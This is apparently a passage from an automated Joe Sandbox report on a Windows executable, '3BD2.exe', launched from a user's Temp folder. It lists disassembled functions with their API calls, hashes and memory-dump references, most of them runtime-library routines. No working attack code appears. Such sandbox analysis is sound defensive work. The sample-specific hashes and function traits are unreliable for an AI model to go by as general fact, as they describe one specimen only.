Part of subcall function 0041D99A: HeapFree.KERNEL32(00000000,00000000,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?), ref: 0041D9B0
Part of subcall function 0041D99A: GetLastError.KERNEL32(?,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?,?), ref: 0041D9C2

_free.LIBCMT ref: 00420579
_free.LIBCMT ref: 00420584
_free.LIBCMT ref: 004205D8
_free.LIBCMT ref: 004205E3
_free.LIBCMT ref: 004205EE
_free.LIBCMT ref: 004205F9

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bbc923de42f0ef437122df3c82742138da79d0bd250d0da0117d0a182bfc7c1a
Instruction ID: f4d3ac0eedd459e3ffb604783a3437ebfd16dc3131756eb9ea54b935a8e12a67
Opcode Fuzzy Hash: bbc923de42f0ef437122df3c82742138da79d0bd250d0da0117d0a182bfc7c1a
Instruction Fuzzy Hash: E91190B1A40B14A6DE70B7B2DC07FCB77DCAF00304F808C1EB29E66457D62CA4408664

Uniqueness

Uniqueness Score: -1.00%

Function 00408660 Relevance: 10.6, APIs: 7, Instructions: 57timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408679
KillTimer.USER32(?,00000001), ref: 00408688
SetTimer.USER32(?,00000001,00000000,00000000), ref: 004086B3
SuspendThread.KERNEL32(0000037C), ref: 004086CD
ResumeThread.KERNEL32(0000037C), ref: 004086EB
EndDialog.USER32(?,00000000), ref: 0040870E

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: da92ab7e72ebffc9d3d35d819006c7db242250dabfd32624ad52bf2bfa5fd689
Instruction ID: f0bd9fd6b43d81b20f4f2e44cedd7140fd228f814b95c0a8b32d14ee500d73aa
Opcode Fuzzy Hash: da92ab7e72ebffc9d3d35d819006c7db242250dabfd32624ad52bf2bfa5fd689
Instruction Fuzzy Hash: 0911A030200600EBD7355B19EF89B6B77B5BB80B05F11043EF445A26B2DBBA9881EA5C

Uniqueness

Uniqueness Score: -1.00%

Function 0042106E Relevance: 9.2, APIs: 6, Instructions: 197COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,0041F7FC,00000000,?,?,?,00421288,?,?,00000100), ref: 004210C8
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,00421288,?,?,00000100,5EFC4D8B,?,?), ref: 00421131
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,?,00000000,?,00000000,00000000,00000000,00000000), ref: 00421211
__freea.LIBCMT ref: 0042121E

Part of subcall function 0041E08C: RtlAllocateHeap.NTDLL(00000000,?,?,?,004199EC,?,?,00411598,00000008,?,00407D46,?,00401253,?,0040126C), ref: 0041E0BE

__freea.LIBCMT ref: 00421227
__freea.LIBCMT ref: 0042124C

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: ed52da81be98cad59f77d7dec3568762f87e0dec4e3240853b208e1c15293500
Instruction ID: 69c1279e28e96eb8c91dfb1f752671f4b856179658501ecbf1cc558a6b81fe0d
Opcode Fuzzy Hash: ed52da81be98cad59f77d7dec3568762f87e0dec4e3240853b208e1c15293500
Instruction Fuzzy Hash: 4451D37270022AEFDB218F91EC41EBB36A9EFA4750F55016BFD04E7260DB39DC518668

Uniqueness

Uniqueness Score: -1.00%

Function 00418022 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00418019,00417802), ref: 00418030
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0041803E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00418057
SetLastError.KERNEL32(00000000,?,00418019,00417802), ref: 004180A9

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a37185ad3f20b076dfe4e4f1d23dfd0e05081aac7a3ed110ae62d4f84db5e579
Instruction ID: c2dcd2ce3c2a13f6f1a8108b1778d345c136b34f4ca4d19f1fa52e66bed21051
Opcode Fuzzy Hash: a37185ad3f20b076dfe4e4f1d23dfd0e05081aac7a3ed110ae62d4f84db5e579
Instruction Fuzzy Hash: CC01F13260C716AEEA252775BCA99E72F98EB05339721133FF110801E0EF1A1CC9958C

Uniqueness

Uniqueness Score: -1.00%

Function 0041EBF8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041ED80

Strings

*?, xrefs: 0041EC39
., xrefs: 0041EF85

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free
String ID: *?$.
API String ID: 269201875-3972193922
Opcode ID: f744f3516f537709652fb4834a8a30cf498db5768d140dd80d4966808f968db5
Instruction ID: 76936c4c7c2ea778d0a9d44c1a9e1aee0ee1134f9a3caab825c5c92380fec68f
Opcode Fuzzy Hash: f744f3516f537709652fb4834a8a30cf498db5768d140dd80d4966808f968db5
Instruction Fuzzy Hash: ED613FBAD001199FDF14DF9AC8815EEFBF5EF58314B24416AE845E7300E635AE818B94

Uniqueness

Uniqueness Score: -1.00%

Function 0041C017 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

x%^, xrefs: 0041C069
C:\Users\user\AppData\Local\Temp\3BD2.exe, xrefs: 0041C05A, 0041C061, 0041C095

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\3BD2.exe$x%^
API String ID: 0-858171544
Opcode ID: 7e6321788602eb2ecbe86c414d01170eefe53be325bc0caa63943943e3dcf0ac
Instruction ID: a01aea8a635f7779a3ab9261270e8ed78c6714020993bd6dc8cb3642b6e01c4d
Opcode Fuzzy Hash: 7e6321788602eb2ecbe86c414d01170eefe53be325bc0caa63943943e3dcf0ac
Instruction Fuzzy Hash: 83414171E80214FBDB25AF99DC859EEBBF8EB89310F14406BF40497211D7794A81CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00407DEA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SHBrowseForFolderW.SHELL32(?), ref: 00407E18
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00407E35
SHGetMalloc.SHELL32(00000000), ref: 00407E5F

Part of subcall function 004098D4: GetDlgItem.USER32(?,000004B6), ref: 004098E8
Part of subcall function 004098D4: SetFocus.USER32(00000000,?,00000000,?,00407E57,?), ref: 004098EB
Part of subcall function 004098D4: GetDlgItem.USER32(?,000004B6), ref: 004098FB
Part of subcall function 004098D4: GetDlgItem.USER32(?,000004B6), ref: 00409913
Part of subcall function 004098D4: SendMessageW.USER32(00000000,000000B1,0000002D,0000002D), ref: 0040991D

Strings

A, xrefs: 00407E10
h1^, xrefs: 00407E45

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Item$BrowseFocusFolderFromListMallocMessagePathSend
String ID: A$h1^
API String ID: 3792050300-2158714708
Opcode ID: 3ac560d3c3a2c6e9f03c12de2844331a339a07a0b2ced8771a02484cdb7565b1
Instruction ID: 467c90d1c75ca007e644d91c95b7550ff83e1c3269d6f79faabfbf85e50a53db
Opcode Fuzzy Hash: 3ac560d3c3a2c6e9f03c12de2844331a339a07a0b2ced8771a02484cdb7565b1
Instruction Fuzzy Hash: 39115175A012189BCB20EB60C949BDF77BCEF44704F1400AAE805E7280DB38EE04CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BF1C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0041BECD,00000002,?,0041BE95,00000003,0041BAE9), ref: 0041BF3C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0041BF4F
FreeLibrary.KERNEL32(00000000,?,?,?,0041BECD,00000002,?,0041BE95,00000003,0041BAE9), ref: 0041BF72

Strings

mscoree.dll, xrefs: 0041BF35
CorExitProcess, xrefs: 0041BF47

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 952d291bc156f6494ce42bc1d1788f1a3adad5fd56cf531d723b7027db991a24
Instruction ID: 1e418772a80086fb884ef9b4a034b25ecfa93c7407815c6c5127c544accdbe95
Opcode Fuzzy Hash: 952d291bc156f6494ce42bc1d1788f1a3adad5fd56cf531d723b7027db991a24
Instruction Fuzzy Hash: 99F04930705118BBCB159B91DC05BDEBF75DF08711F4141AAFC0592251DB355D51CE98

Uniqueness

Uniqueness Score: -1.00%

Function 00408473 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00408B3D,000004B1,00000000,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 0040847B
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0040848C
GetWindow.USER32(?,00000005), ref: 004084AF

Strings

SetWindowTheme, xrefs: 00408486
uxtheme, xrefs: 00408474

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: AddressLibraryLoadProcWindow
String ID: SetWindowTheme$uxtheme
API String ID: 1082215438-1369271589
Opcode ID: fcb52b72e6c6ca9fc2cd9b0e1b2dd305b5ff4cd18c8cb8358a5bd084cdec5453
Instruction ID: 7e06f69cc99b9bac6cf0ecef2d71764b36ae863c373c99b884c06f538ab59e4a
Opcode Fuzzy Hash: fcb52b72e6c6ca9fc2cd9b0e1b2dd305b5ff4cd18c8cb8358a5bd084cdec5453
Instruction Fuzzy Hash: 6AE09231740B22A2C23263207C0DF0B2A189BC1B20797807BFD45B62C1EF7DCC0295AC

Uniqueness

Uniqueness Score: -1.00%

Function 0041C686 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041C6F8
_free.LIBCMT ref: 0041C718

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 33e72a6a7b28e79f964b3acbf4f4363facca18292bcf9f2b0fb890cf43c66209
Instruction ID: 17134beeeaa8ba1a1679d093b622787bd2eab7e7e586602241a20cafa0314ffd
Opcode Fuzzy Hash: 33e72a6a7b28e79f964b3acbf4f4363facca18292bcf9f2b0fb890cf43c66209
Instruction Fuzzy Hash: 9241D172A40204AFCB14DF78CCC0AAEB7A5EF89314B15456EE555EB381DB34AD42CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0041F939 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041F942
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041F965

Part of subcall function 0041E08C: RtlAllocateHeap.NTDLL(00000000,?,?,?,004199EC,?,?,00411598,00000008,?,00407D46,?,00401253,?,0040126C), ref: 0041E0BE

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0041F98B
_free.LIBCMT ref: 0041F99E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041F9AD

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: e3a55fc955836d28caceb77e82f462a19e9b1a77942fb49b0e204274c7dea3e4
Instruction ID: 67c4b6b84514e99d7ed1b2e50599fd221e740c6fed735a9971e407e67e25ce7e
Opcode Fuzzy Hash: e3a55fc955836d28caceb77e82f462a19e9b1a77942fb49b0e204274c7dea3e4
Instruction Fuzzy Hash: 9801D8F26212157F23316A675C8CEBB7A6CEAC2BA0355013AFD05C3204DA688D4781B9

Uniqueness

Uniqueness Score: -1.00%

Function 0041D681 Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0041D0A8,0041E0CF,?,?,004199EC,?,?,00411598,00000008,?,00407D46,?,00401253), ref: 0041D686
SetLastError.KERNEL32(00000000,00000006,000000FF,?,0041D0A8,0041E0CF,?,?,004199EC,?,?,00411598,00000008,?,00407D46), ref: 0041D6AC
_free.LIBCMT ref: 0041D6EC
_free.LIBCMT ref: 0041D71F
SetLastError.KERNEL32(00000000,0040126C,?,00401867), ref: 0041D72C

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 78e8a0f401660786f7eac7a5c75f87cbec7cbd70719f0fb19cebfcb2ef30057f
Instruction ID: 60199272820e6a96305484e5efda92394ecbf077cc761fb21a0c0e98c2c4bae3
Opcode Fuzzy Hash: 78e8a0f401660786f7eac7a5c75f87cbec7cbd70719f0fb19cebfcb2ef30057f
Instruction Fuzzy Hash: 4A110CF2E00500769B15773ABC55EEB23699BC1375B25073BF43C922E9DE6D8C92402D

Uniqueness

Uniqueness Score: -1.00%

Function 0041D533 Relevance: 7.6, APIs: 5, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,0041B117,00000000,00000002,hC@,0041AA53,hC@,00000000,00000001,00426DC8,?,0000000A,00000001), ref: 0041D537
_free.LIBCMT ref: 0041D58E
_free.LIBCMT ref: 0041D5C2
SetLastError.KERNEL32(00000000,00000000,00000006,000000FF,?,0000000A,00000001,?,?,00404368), ref: 0041D5CF
SetLastError.KERNEL32(00000000,00000006,000000FF,?,0000000A,00000001,?,?,00404368), ref: 0041D5DB

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 6c8578ce3fbbd7d3a99de486a532e7c8fc4b525b1d6abb9d834f5cfcadff1bdc
Instruction ID: 1e1afe3578860cedb134a91af1cb7bcdfed91ee82688196ddf334bde7902b2dc
Opcode Fuzzy Hash: 6c8578ce3fbbd7d3a99de486a532e7c8fc4b525b1d6abb9d834f5cfcadff1bdc
Instruction Fuzzy Hash: BD11C6F1D0090076DA1A373A7C06EFB236A9BC1329F20072BF435922E9DE2D8982412D

Uniqueness

Uniqueness Score: -1.00%

Function 0042047F Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00420497

Part of subcall function 0041D99A: HeapFree.KERNEL32(00000000,00000000,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?), ref: 0041D9B0
Part of subcall function 0041D99A: GetLastError.KERNEL32(?,?,00420512,?,00000000,?,00000000,?,00420539,?,00000007,?,?,0042093D,?,?), ref: 0041D9C2

_free.LIBCMT ref: 004204A9
_free.LIBCMT ref: 004204BB
_free.LIBCMT ref: 004204CD
_free.LIBCMT ref: 004204DF

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 81a4994557c7d6480d84085b145d34b0bfaf80dfde955fa9f37b50cf8be9d044
Instruction ID: 0b34afc1d5ba109aa7ca4b024fdf7cc946abab10d0a4c213946bde6ee899b357
Opcode Fuzzy Hash: 81a4994557c7d6480d84085b145d34b0bfaf80dfde955fa9f37b50cf8be9d044
Instruction Fuzzy Hash: E3F018B2614310A78A28EF55F595D5B73D9FA007147A4A91BF14CD7615CB3CFCC0865C

Uniqueness

Uniqueness Score: -1.00%

Function 004098D4 Relevance: 7.5, APIs: 5, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000004B6), ref: 004098E8
SetFocus.USER32(00000000,?,00000000,?,00407E57,?), ref: 004098EB
GetDlgItem.USER32(?,000004B6), ref: 004098FB

Part of subcall function 00409AD9: SetWindowTextW.USER32(?,00000000), ref: 00409AE2

GetDlgItem.USER32(?,000004B6), ref: 00409913
SendMessageW.USER32(00000000,000000B1,0000002D,0000002D), ref: 0040991D

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: Item$FocusMessageSendTextWindow
String ID:
API String ID: 3590784419-0
Opcode ID: ea5c0620600fc7c1174c2fa7a200e380fc0049515997d48af839f303dcba3bbf
Instruction ID: b09454879a9156bf9965e39b5f910d728db494e00346013c1d48044c2a68c5d8
Opcode Fuzzy Hash: ea5c0620600fc7c1174c2fa7a200e380fc0049515997d48af839f303dcba3bbf
Instruction Fuzzy Hash: 5AE03071701210BBCB206BA2AC49D877E1DEF8936174A8075FA0996162C7758C00DB64

Uniqueness

Uniqueness Score: -1.00%

Function 00420604 Relevance: 6.1, APIs: 4, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,?,?,00000001,?,?,00000001,?), ref: 0042064C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000001,?,?,?,?,00000001,?,?,00000001,?), ref: 004206C1
GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,?,00000001,?,?,00000001,?), ref: 004206D3
__freea.LIBCMT ref: 004206DC

Part of subcall function 0041E08C: RtlAllocateHeap.NTDLL(00000000,?,?,?,004199EC,?,?,00411598,00000008,?,00407D46,?,00401253,?,0040126C), ref: 0041E0BE

Memory Dump Source

Source File: 00000008.00000002.2088344302.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2088328127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088367661.0000000000426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088386751.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2088403938.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_3BD2.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: f8743e576bc107c6609c3ed1216d554a664f25be830c4081e4adab8b14cece5a
Instruction ID: e9a350ac2ca01777ac09b4f502c5a26bc6c9af9307c73b7b10c86fe152ab2255
Opcode Fuzzy Hash: f8743e576bc107c6609c3ed1216d554a664f25be830c4081e4adab8b14cece5a
Instruction Fuzzy Hash: EA31B471A0022AAFDB209F65EC44DEF7BB9EF84310F45452AFC0497252D7398D61CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00408DCC Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00408528: GetDlgItem.USER32(?,?), ref: 00408534

Part of subcall function 00409DFA: GetDlgItem.USER32(?,?), ref: 00409E09
Part of subcall function 00409DFA: ShowWindow.USER32(00000000,?,?,00408B2D,000004B1,00000000,?,?,?,?,000004B4,00000000,000004B3,00000000,?,00000000), ref: 00409E21

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00408E2F
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 00408E4B
GetDlgItem.USER32(?,000004B7), ref: 00408E5E
SetWindowLongW.USER32(00000000,000000FC,Function_00007E84), ref: 00408E6C

Part of subcall function 0040885E: GetModuleHandleW.KERNEL32(00000000,00000065), ref: 00408881
Part of subcall function 0040885E: LoadIconW.USER32(00000000), ref: 00408888
Part of subcall function 0040885E: GetSystemMetrics.USER32(00000032), ref: 0040889A
Part of subcall function 0040885E: GetSystemMetrics.USER32(00000031), ref: 0040889F
Part of subcall function 0040885E: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000), ref: 004088A8
Part of subcall function 0040885E: LoadImageW.USER32(00000000), ref: 004088AF
Part of subcall function 0040885E: SendMessageW.USER32(?,00000080,00000001,00000000), ref: 004088CD
Part of subcall function 0040885E: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004088DA
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 004088F6
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B2), ref: 00408902
Part of subcall function 0040885E: GetWindowLongW.USER32(00000000,000000F0), ref: 00408909
Part of subcall function 0040885E: SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0040891E
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B5), ref: 0040892B
Part of subcall function 0040885E: GetDlgItem.USER32(?,000004B5), ref: 0040893B
